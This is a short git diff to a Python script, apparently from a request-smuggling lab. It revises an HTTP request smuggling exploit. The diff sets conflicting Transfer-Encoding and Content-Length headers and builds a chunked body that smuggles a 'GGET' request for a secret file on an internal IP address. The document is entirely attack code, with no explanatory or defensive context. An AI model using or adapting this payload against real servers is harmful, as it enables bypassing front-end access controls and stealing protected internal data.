diff --git a/request_smuggling/script.py b/request_smuggling/script.py index 80618b4..c2cd8b4 100644 --- a/request_smuggling/script.py +++ b/request_smuggling/script.py @@ -29,10 +29,10 @@ print('\n\n') data=''' 0\r\n - -GET http://128.11.0.6/secret_file.txt''' +\r\n +GGET http://128.11.0.6/secret_file.txt''' byteLength = len(data.encode('utf-8')) -headers = {'Content-Length' : str(byteLength), 'Transfer-Encoding' : 'chunked'} +headers = {'Transfer-Encoding' : 'chunked','Content-Length' : 6} response = requests.post(urlServer, headers=headers, data=data) print(response.status_code)